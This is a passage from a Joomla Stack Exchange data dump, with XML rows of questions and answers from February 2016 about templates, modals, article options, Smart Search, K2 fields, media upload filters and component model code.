'');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$layout&lt;/code&gt; will return the string &quot;edit&quot; if the user is currently inside the frontend editor view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Towards the bottom of my &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; code I added this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;        if($layout == &quot;edit&quot; ){&#xA;            echo('&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;');&#xA;        }&#xA;?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Towards the bottom of my &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; HTML I added this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    if($layout != &quot;edit&quot; ) {&#xA;        echo('&amp;lt;script src=&quot;templates/myTemplate/myScript.js&quot;&amp;gt;&amp;lt;/script&amp;gt;');&#xA;    }&#xA;?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This solution achieves exactly what I needed, which is that the frontend editor now allows all standard editing to take place, without conflicting with any custom template code. (Every time you go in/out of the 'edit' mode, the page refreshes which allows the PHP logic on the index.php file to run again.)  &lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2016-02-11T15:47:59.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15263" PostTypeId="2" ParentId="15253" CreationDate="2016-02-11T18:23:52.260" Score="0" Body="&lt;p&gt;For anyone struggling with modals in Joomla, I found a solution that works. &#xA;Use the following within PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; JHtml::_('behavior.modal'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then something similar to this:&#xA;your link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find that I wanted to override the default modal class though.   The default uses a fixed position: absolute (which I overwrote to be position:relative) so my links stayed in place.  I also overwrote the z-index to 0 (otherwise the link was on top of any menu system).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works like a charm and all my modals are displaying as expected (and responsive).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to all for your attempt at assisting!!&lt;/p&gt;&#xA;" OwnerUserId="7700" LastActivityDate="2016-02-11T18:23:52.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15264" PostTypeId="2" ParentId="15253" CreationDate="2016-02-12T02:27:45.017" Score="0" Body="&lt;p&gt;In Joomla, to load an iframe we already have a module with type &quot;&lt;strong&gt;Wrapper&lt;/strong&gt;&quot;. And their various settings are given like scroll, width etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refer the link:&#xA;&lt;a href=&quot;https://docs.joomla.org/Help34:Extensions_Module_Manager_Wrapper&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Help34:Extensions_Module_Manager_Wrapper&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try using this and see if it solves your problem.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="7632" LastEditDate="2016-02-12T04:05:05.063" LastActivityDate="2016-02-12T04:05:05.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15266" PostTypeId="1" AcceptedAnswerId="15268" CreationDate="2016-02-12T09:38:33.053" Score="1" ViewCount="607" Body="&lt;p&gt;I want to hide the create date for a specific menu item with type &lt;strong&gt;Featured Articles&lt;/strong&gt;. For this, I did the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Menu item &amp;gt; Options &amp;gt; Create Date : show&lt;/strong&gt; . But it doesn't display in frontend.&lt;/p&gt;&#xA;&lt;p&gt;But when I select the following option along with the above option, it displays in frontend.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Menu item &amp;gt; Options &amp;gt; Category: show&lt;/strong&gt; now it displays both the category and create date.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Can anyone please guide me on this. I only want to show the &lt;code&gt;create date&lt;/code&gt; and NOT &lt;code&gt;category&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-02-12T09:57:46.037" Title="Show/Hide create date in article not working properly" Tags="|joomla-3.x|featured-articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15267" PostTypeId="2" ParentId="9133" CreationDate="2016-02-12T09:43:27.657" Score="1" Body="&lt;p&gt;Try this, but &lt;strong&gt;please backup your database before&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE&#xA;  xxx_contentitem_tag_map&#xA;SET&#xA;  tag_id = 2&#xA;WHERE&#xA;  tag_id = 1 AND &#xA;  core_content_id NOT IN (&#xA;    SELECT &#xA;      core_content_id &#xA;    FROM &#xA;      xxx_contentitem_tag_map &#xA;    WHERE&#xA;      tag_id = 2&#xA;  )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically you have to select all article IDs where the tag ID is already 2 and then exclude them from your update query by using the &lt;code&gt;NOT IN&lt;/code&gt; operator&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2016-02-12T09:43:27.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15268" PostTypeId="2" ParentId="15266" CreationDate="2016-02-12T09:57:46.037" Score="3" Body="&lt;p&gt;There are options in the Backend &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Content -&amp;gt; article -&amp;gt; open article -&amp;gt; option(tab)&lt;/code&gt;  for &lt;code&gt;Show Create Date&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also in the &lt;code&gt;global configuration -&amp;gt; articles&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-02-12T09:57:46.037" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15270" PostTypeId="1" CreationDate="2016-02-12T15:11:21.757" Score="1" ViewCount="696" Body="&lt;p&gt;I'm trying to upload two images to Joomla using the Media component, but one of the images will not upload and generates a notice -&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Possible IE XSS Attack found.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The notice is generated in Firefox, Chrome and IE using &lt;strong&gt;Joomla version 3.4.8&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image names -&#xA; - ms-office-2016-check-intsall-01.png&#xA; - ms-office-2016-check-intsall-01-thumb.png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find this odd as the images are nearly identical; the thumbnail will upload just fine and was generated from the full size image, yet the full size image will not upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've tried -&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Renaming the image.&lt;/li&gt;&#xA;&lt;li&gt;Taking a copy of the image in my editor of choice, deleting the original and then saving the new image (both as the original name and a new name).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've compared the &lt;strong&gt;Exif&lt;/strong&gt; data of both images, just in case there is some random HTML in play in there, but the the data is exactly the same, bar the image name/path and dimensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I cannot simply delete the image and start from scratch as it is a screenshot that I cannot replicate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone able to offer some insight in to this issue, and crucially suggest what I may do to fix it?&lt;/p&gt;&#xA;" OwnerUserId="7784" LastEditorUserId="115" LastEditDate="2016-02-13T03:23:57.193" LastActivityDate="2016-03-29T00:23:52.747" Title="Media component reporting 'Possible IE XSS Attack'" Tags="|joomla-3.x|security|media-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15272" PostTypeId="1" CreationDate="2016-02-12T17:44:27.287" Score="1" ViewCount="58" Body="&lt;p&gt;Im looking for some examples of how to use {handler: 'string' ...} for joomla modals, as used in editors-xtd buttons plugins&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$button-&amp;gt;options = '{handler: 'iframe' ......}';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I want to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$button-&amp;gt;modal = true;&#xA;$button-&amp;gt;options = &quot;{handler: 'string', content: 'some content'}&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I haven't found any information for the proper usage of this or if this really works. &#xA;I have spent many days trying to get it to work, I tried with several var names setting variables like &lt;code&gt;$button-&amp;gt;content&lt;/code&gt; or &lt;code&gt;$button-&amp;gt;html&lt;/code&gt;, or inside the $button-&gt;options, but nothing worked for me.&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="7785" LastEditorUserId="115" LastEditDate="2016-02-13T03:00:40.493" LastActivityDate="2016-02-13T03:00:40.493" Title="How to use handler: 'string' in joomla modals" Tags="|joomla-3.x|plugin|editor|modal|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15273" PostTypeId="2" ParentId="10201" CreationDate="2016-02-12T23:06:46.183" Score="1" Body="&lt;p&gt;you may try rss2article:&#xA;&lt;a href=&quot;http://extensions.joomla.org/extension/rss-2-article&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/rss-2-article&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is really powerfull&lt;/p&gt;&#xA;" OwnerUserId="3595" LastActivityDate="2016-02-12T23:06:46.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15274" PostTypeId="1" AcceptedAnswerId="15316" CreationDate="2016-02-12T23:09:31.357" Score="1" ViewCount="178" Body="&lt;p&gt;I have a series of extra fields (prices) for my K2 items that I only want to show to logged in users. To add more, I need to show one field to one User Group (price A) and a different field to a different User Group (Price B). How, can I accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can do access level checks for modules, but since these are extra fields attached to K2 items, I'm fumbling for a way to accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2016-02-17T01:16:31.180" LastActivityDate="2016-02-17T17:22:35.157" Title="Display Extra Fields only to Certain Users or Access Levels" Tags="|joomla-3.x|k2|user|joomla-user-groups|access|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15275" PostTypeId="2" ParentId="14275" CreationDate="2016-02-13T05:44:54.623" Score="3" Body="&lt;p&gt;To get form data in Joomla you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get a value from JInput, you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$foo = $jinput-&amp;gt;get('varname', 'default_value', 'filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check below url for more detail:&lt;br&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7787" LastEditorUserId="1520" LastEditDate="2016-02-13T19:49:35.883" LastActivityDate="2016-02-13T19:49:35.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15276" PostTypeId="2" ParentId="15261" CreationDate="2016-02-13T16:55:52.160" Score="2" Body="&lt;p&gt;The slider extends to cover the full width of the site width, which is a common use-case for home-page slideshows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there aren't any settings in the template or the module that is being used for the slideshow, then you could add your own custom css to set your desired width/height for the slideshow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should check with the template provider/developer for the proper way to add your own custom css to the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end, if you won't care about template updates that could override any customization you may add, you could search for the main template.css file and put there your css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what exactly you want to do with the dimensions of the slideshow, but here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#showcase-row {&#xA;    width: 50%;&#xA;    margin: 0 auto;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will make the container of the slideshow of 50% width, and align it in the center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a question about creating CSS overrides that might be helpful:&#xA;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/3877/how-do-i-override-the-css-styles-in-my-template&quot;&gt;How do I override the CSS styles in my template?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-02-13T16:55:52.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15277" PostTypeId="1" AcceptedAnswerId="15278" CreationDate="2016-02-13T17:43:14.387" Score="1" ViewCount="146" Body="&lt;p&gt;I am using a field for filelist where I want to bring only png files&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field name=&quot;menu_icon&quot;&#xA;        type=&quot;filelist&quot;&#xA;        default=&quot;&quot;&#xA;        hide_default=&quot;true&quot;&#xA;        required=&quot;true&quot;&#xA;        label=&quot;JSM_CUSTOM_MENYV_SELECT_ICON&quot;&#xA;        description=&quot;JSM_CUSTOM_MENYV_SELECT_ICON_DESC&quot;&#xA;        directory=&quot;media/com_jeemasmsmobile/menuicons&quot;&#xA;        filter=&quot;*.png&quot; exclude=&quot;&quot; stripext=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What filter should I apply???&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2016-02-13T19:52:34.573" Title="Filter for filelist box to load only png files" Tags="|joomla-3.x|form-fields-types|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15278" PostTypeId="2" ParentId="15277" CreationDate="2016-02-13T18:13:31.790" Score="4" Body="&lt;p&gt;Use &lt;code&gt;filter=&quot;png&quot;&lt;/code&gt; instead of &lt;code&gt;filter=&quot;*.png&quot;&lt;/code&gt; (remove &lt;code&gt;*.&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="7789" LastEditorUserId="1520" LastEditDate="2016-02-13T19:52:34.573" LastActivityDate="2016-02-13T19:52:34.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15279" PostTypeId="1" AcceptedAnswerId="15280" CreationDate="2016-02-13T18:19:10.397" Score="2" ViewCount="457" Body="&lt;p&gt;It's me again with that old J2.5 site (see my previous Q &lt;a href=&quot;https://joomla.stackexchange.com/questions/15251/k2-and-duplicated-open-graph-tags&quot;&gt;K2 and duplicated Open Graph tags&lt;/a&gt;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client wanted to have Smart Search instead of good old simple Search, so I have created module in the right column of type Smart Search Module, and configured it's settings accordingly. But for the life of me I couldn't make smart search results show up on their own page, they always show up the same way they do when I use simple Search module. I made sure that all Search plugins are disabled, that Content - Smart Search plugin and all neccessary Finder plugins are enabled and configured correctly, but nothing helps. I also did extensive search on this problem here on JSE, and there are more than 40 Qs on Smart Search, but couldn't find anything applicable to my problem.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to make Smart Search results show on their own page, not on page of regular Search results?&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-02-13T18:50:30.780" Title="Joomla 2.5 How To show Smart Search results on their own page" Tags="|joomla-2.5|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15280" PostTypeId="2" ParentId="15279" CreationDate="2016-02-13T18:50:30.780" Score="5" Body="&lt;p&gt;I think that your problem can be solved if you create menu item of type Smart Search.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my own experience with Joomla 2.5 I found it is ‘always’ necessary to create a menu item for the ‘Smart search’, otherwise the search just directs to one to the usual (old) search page. It doesn’t matter if you disable the ‘old’ search plugin, one is still directed to the ‘old’ search result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a Menu Item from the 'Smart Search' category. NOTE: there is a category of Menu Item called &quot;Search&quot; and a different Category of Menu Item called 'Smart Search'. Be sure you are in the category called 'Smart Search.' (To make it more confusing, the item itself is called 'Search' but just be sure you are in the 'Smart Search' category.)&#xA;After selecting this item type, in the Required Settings, choose your (optional) Search Filter and Save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This menu item can be placed in a hidden menu if you do not desire a specific search page &#xA;displayed on the site. The page doesn't have to exist on its own but it has to be there for the ‘smart search’ to operate properly within a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I have not seen this peculiarity on Joomla 3.x which doesn’t require the menu item to be present.&lt;/p&gt;&#xA;" OwnerDisplayName="user7788" LastActivityDate="2016-02-13T18:50:30.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15281" PostTypeId="1" CreationDate="2016-02-14T08:15:13.600" Score="0" ViewCount="409" Body="&lt;p&gt;can I Use Bootstrap multiselect.css and bootstrap multiselect.js in my website i'm confuse about it. i'm not going to change the internal code&lt;/p&gt;&#xA;" OwnerUserId="3553" LastActivityDate="2016-02-15T02:14:46.520" Title="Bootstrap Multiselect is opensource or not?" Tags="|jquery|bootstrap|responsive-web-design|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15282" PostTypeId="1" AcceptedAnswerId="15335" CreationDate="2016-02-14T10:04:46.273" Score="3" ViewCount="140" Body="&lt;p&gt;I have migrated a WordPress site into Joomla using CMigrator component. But after the migration and while working in development server, there are some more articles added to the Production site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am stuck at this point now how to migrate those &quot;new&quot; articles and categories now in my Joomla website as I have finished all the work in it. But now I have the updated database of Wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only want to add the newly added articles from the time I have migrated the website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please guide me on this on how to proceed&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-02-19T05:12:06.697" Title="Migrate newly added articles using CMigrator" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15283" PostTypeId="1" CreationDate="2016-02-14T13:12:21.290" Score="5" ViewCount="991" Body="&lt;p&gt;I use the Joomla module 'Articles Category' to present articles grouped by category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the 'Grouping Options' tab I selected 'Article Grouping -&gt; Category'.&#xA;But it only provides ordering by title. Now I need to be able to order by category order. How do I achieve that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overrides / core modifications are fine.&lt;/p&gt;&#xA;" OwnerUserId="7792" LastActivityDate="2017-01-26T22:54:25.193" Title="Module Articles Category: How to group articles and order by category order?" Tags="|joomla-3.x|php|overrides|mod-articles-category|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15284" PostTypeId="2" ParentId="15283" CreationDate="2016-02-14T18:33:50.490" Score="0" Body="&lt;p&gt;You can achieve this if you adjust following options in tab 'Filtering Options'&lt;br&gt;&#xA;1. Category Filtering Type - Inclusive&lt;br&gt;&#xA;2. Category - add all categories you want to show articles from&lt;br&gt;&#xA;3. Child Category Articles - if you have them adjust accordingly&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-02-14T18:33:50.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15285" PostTypeId="2" ParentId="15274" CreationDate="2016-02-14T21:34:09.997" Score="0" Body="&lt;p&gt;Without installing K2 and fiddling with the code I can only give you my thoughts. You need to override the display for your custom fields view. Loop through each of the fields and use conditional statements to determine the visibility of the fields based on use access level or group.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-14T21:34:09.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15287" PostTypeId="2" ParentId="15281" CreationDate="2016-02-15T02:14:46.520" Score="1" Body="&lt;p&gt;I read the license agreement supplied on the bootstrap.multiselect.js GitHub page as provided by David Stutz. According to my understanding of the license as provided, since you are not redistributing the work as a part of your own work or another project there should be no reason you can not use the work on your own site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to include this in your source as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * bootstrap-multiselect.js 1.0.0&#xA; * https://github.com/davidstutz/bootstrap-multiselect&#xA; *&#xA; * Copyright 2012, 2013 David Stutz&#xA; * &#xA; * Dual licensed under the BSD-3-Clause and the Apache License, Version 2.0.&#xA; * See the README.&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-15T02:14:46.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15289" PostTypeId="1" CreationDate="2016-02-15T08:20:24.450" Score="3" ViewCount="968" Body="&lt;p&gt;This question may land me in a group that is unprofessional yet dare ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using default template (Protostar, beez) and configure client needs and so far reasonably successful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand even as a developer as the codes of this templates are open source, I can start with these templates as base to come out with a totally different template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is if developers start from scratch or start with an already existing template for designing new templates?&lt;/p&gt;&#xA;" OwnerUserId="2203" LastEditorUserId="126" LastEditDate="2016-02-15T11:02:04.030" LastActivityDate="2017-03-06T18:26:58.693" Title="Is development of template from scratch really worthwhile?" Tags="|templates|" AnswerCount="4" CommentCount="2" ClosedDate="2018-01-28T11:21:32.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="15290" PostTypeId="2" ParentId="15289" CreationDate="2016-02-15T09:33:56.297" Score="5" Body="&lt;p&gt;I also use protostar as a base template to develop a custom one in many cases. There is nothing bad with this approach. I can even do the same with other templates. And there is always the case where I build a template from scratch, or by using any of the available template frameworks out there. Also with the time I have developed my own master template that can be easily customized to suit my needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I could say there is no standard way but I tend to prefer to custom build it to avoid excessive features, code etc that most commercial templates have and are not actually needed for specific projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I will end up doing usually depends on the project. Budget, time, design and other features, special requirements, my own mood, will for creativity, availabilty and my personal working style and experience are in the mix. &lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-02-15T10:57:11.973" LastActivityDate="2016-02-15T10:57:11.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15291" PostTypeId="2" ParentId="15289" CreationDate="2016-02-15T11:47:03.623" Score="5" Body="&lt;p&gt;&lt;strong&gt;The case for using a standard template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tend to use the same base template (from a leading template developer) for most projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template features which I don't use can be disabled to keep the template sufficiently lean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I customise the template for each project via a custom CSS file and they all look very different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over the space of a few projects, I build up a library of CSS customisations that are useful for subsequent projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting from scratch every time would not be an efficient way for me to work and would add additional cost to projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional benefits of using a standard template (instead of developing your own) include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the template developer has likely tested the template across all the&#xA;popular browsers and as long as your CSS customisations aren't too&#xA;ambitious, your website won't need a lot of cross browser testing&lt;/li&gt;&#xA;&lt;li&gt;the template developer keeps the template up to date with security &#xA;updates and fixes for new versions of browsers etc and these can be&#xA;downloaded and applied easily with little extra work&lt;/li&gt;&#xA;&lt;li&gt;the template developer can provide support with any issues which&#xA;minimises the time you spend troubleshooting issues&lt;/li&gt;&#xA;&lt;li&gt;choosing a template from one of the better template developers can&#xA;help streamline future Joomla migrations (assuming the developer&#xA;creates an equivalent template to upgrade to)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-02-15T11:47:03.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15292" PostTypeId="1" CreationDate="2016-02-15T13:04:44.970" Score="1" ViewCount="46" Body="&lt;p&gt;I got a little problem: I would like to publish an item with some &quot;different&quot; states (&lt;code&gt;1&lt;/code&gt;,&lt;code&gt;0&lt;/code&gt;,&lt;code&gt;2&lt;/code&gt;,&lt;code&gt;-2&lt;/code&gt;,&lt;code&gt;-1&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing this this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(empty($this-&amp;gt;getErrors()))&#xA;{&#xA;    $tableitem-&amp;gt;store();    &#xA;    $publish                                    =   $modelitem-&amp;gt;publish($id, $state);&#xA;    $return                                     =   true;               &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the problem: If I call this function via Web GUI (Joomla Admin Backend) &lt;code&gt;$publish&lt;/code&gt; returns &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do this via CLI (I would like to set different publishing-states via CLI if an item is older than &lt;code&gt;xyz&lt;/code&gt;) &lt;code&gt;$publish&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The method is &lt;strong&gt;not&lt;/strong&gt; overwritten in &lt;code&gt;modelitem.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to override the &lt;code&gt;publish-method&lt;/code&gt; in &lt;code&gt;modelitem.php&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function publish(&amp;amp;$pks, $value = 1)&#xA;{&#xA;    // Initialise variables.&#xA;    $dispatcher = JDispatcher::getInstance();&#xA;    $user = JFactory::getUser();&#xA;    $table = $this-&amp;gt;getTable();&#xA;    $pks = (array) $pks;&#xA;    // Include the content plugins for the change of state event.&#xA;    JPluginHelper::importPlugin('content');&#xA;    // Access checks.&#xA;&#xA;    foreach ($pks as $i =&amp;gt; $pk)&#xA;    {&#xA;        $table-&amp;gt;reset();&#xA;        var_dump($this-&amp;gt;canEditState($table)); die;&#xA;        if ($table-&amp;gt;load($pk))&#xA;        {&#xA;            if (!$this-&amp;gt;canEditState($table))&#xA;            {                   &#xA;                // Prune items that you can't change.&#xA;                unset($pks[$i]);&#xA;                JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'));&#xA;                return false;&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    // Attempt to change the state of the records.&#xA;    if (!$table-&amp;gt;publish($pks, $value, $user-&amp;gt;get('id')))&#xA;    {&#xA;        $this-&amp;gt;setError($table-&amp;gt;getError());&#xA;        return false;&#xA;    }&#xA;&#xA;    $context = $this-&amp;gt;option . '.' . $this-&amp;gt;name;&#xA;    // Trigger the onContentChangeState event.&#xA;    $result = $dispatcher-&amp;gt;trigger($this-&amp;gt;event_change_state, array($context, $pks, $value));&#xA;    if (in_array(false, $result, true))&#xA;    {&#xA;        $this-&amp;gt;setError($table-&amp;gt;getError());&#xA;        return false;&#xA;    }&#xA;    // Clear the component's cache&#xA;    $this-&amp;gt;cleanCache();&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I mention that &lt;code&gt;$this-&amp;gt;canEditState($table)&lt;/code&gt; returns &lt;code&gt;NULL&lt;/code&gt; and so the publish-function returns &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do here?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="4028" LastEditDate="2016-02-15T13:51:40.353" LastActivityDate="2016-02-15T13:51:40.353" Title="$mymodel-&gt;publish($id, $state) returns &quot;false&quot; when calling it via CLI - on Web it returns true" Tags="|development|custom-component|jmodel|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
